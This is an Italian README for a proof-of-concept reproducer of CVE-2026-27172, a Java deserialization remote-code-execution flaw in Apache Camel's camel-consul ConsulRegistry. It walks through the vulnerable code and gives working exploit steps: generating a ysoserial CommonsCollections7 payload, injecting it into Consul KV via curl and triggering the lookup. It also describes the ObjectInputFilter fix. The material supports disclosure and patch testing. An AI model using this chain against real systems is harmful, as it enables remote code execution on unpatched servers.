
Reproducer per CVE-2026-27172: deserializzazione Java di ConsulRegistry in Apache Camel camel-consul (RCE)
Questo progetto dimostra una vulnerabilità di deserializzazione Java nel componente camel-consul di Apache Camel (ConsulRegistry), tracciata come CVE-2026-27172. Appartiene alla stessa classe di problemi di CVE-2024-22369, CVE-2024-23114 e CVE-2026-25747, ed è stata trascurata durante la correzione originaria di queste CVE.
Avviso: https://camel.apache.org/security/CVE-2026-27172.html
| Proprietà | Valore |
|---|---|
| Componente | camel-consul |
| Classe interessata | org.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize) |
| Metodi vulnerabili | lookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType() |
| CWE | CWE-502: Deserializzazione di dati non attendibili |
| Impatto | Esecuzione di codice remoto (RCE) |
| Versioni interessate | Dalla 3.0.0 precedente alla 4.14.6, e dalla 4.15.0 precedente alla 4.18.1 |
| Versioni corrette | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23029 |
ConsulRegistry utilizza il key/value store di Consul come registry Camel. Quando un bean viene cercato per nome, il valore memorizzato viene decodificato in Base64 e deserializzato con un ObjectInputStream grezzo e, nelle versioni interessate, senza alcun ObjectInputFilter:
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
kvClient = consul.keyValueClient();
return kvClient.getValueAsString(key).map(result -> {
byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
return ConsulRegistryUtils.deserialize(postDecodedValue); // no filter (affected)
}).orElse(null);
}
// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return in.readObject(); // NO FILTERING!
}
}
Qualsiasi oggetto memorizzato nel KV store di Consul sotto una chiave che Camel cerca successivamente viene deserializzato. Un attaccante che può scrivere su quel percorso KV può inserire un payload a catena di gadget che viene eseguito quando avviene la ricerca nel registry.
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0
mvn clean package -DskipTests
mvn spring-boot:run
curl http://localhost:8080/exploit/init
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
ConsulRegistry memorizza oggetti serializzati codificati in Base64, quindi il payload viene fornito come Base64.
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
--data-binary @payload.b64
curl http://localhost:8080/exploit/trigger
lookupByName() legge il valore KV, lo decodifica in Base64 e lo deserializza — eseguendo la catena di gadget.
ls -la /tmp/pwned
Se il file /tmp/pwned esiste, lo sfruttamento è riuscito.
La vulnerabilità si attiva ogni volta che il registry risolve un bean:
.to("bean:..."), bean(...), .process("...") per nome chiamano tutti lookupByName().findByType() / lookupByNameAndType() iterano le voci KV e le deserializzano.commons-collections:3.2.1 (gadget CommonsCollections1-7)La correzione (CAMEL-23029) aggiunge un ObjectInputFilter configurabile (predefinito java.**;org.apache.camel.**;!*) a ConsulRegistryUtils.deserialize ed espone un'opzione deserializationFilter per consentire l'inserimento in allow-list delle classi fidate:
static Object deserialize(byte[] bytes, String deserializationFilter) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
if (deserializationFilter != null) {
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
}
return in.readObject();
}
}
Fino all'aggiornamento a una versione corretta:
CVE-2026-27172/
├── pom.xml # Maven configuration (affected camel-consul version)
├── README.md # This file
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── ConsulRegistryRoute.java # Camel route (disabled; shows real usage)
│ └── ExploitController.java # REST endpoints for the PoC
└── resources/
└── application.properties
Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non usarlo contro sistemi senza autorizzazione esplicita.
| Aspetto | Cassandra (CVE-2024-23114) | LevelDB (CVE-2026-25747) | Consul (CVE-2026-27172) |
|---|
| Archivio sottostante | Tabella Cassandra | File LevelDB | KV store di Consul |
| ObjectInputFilter (prima della correzione) | nessuno | nessuno | nessuno |
| Correzione | allow-list ObjectInputFilter | allow-list ObjectInputFilter | allow-list ObjectInputFilter |
| JIRA | CAMEL-20306 | CAMEL-22821 | CAMEL-23029 |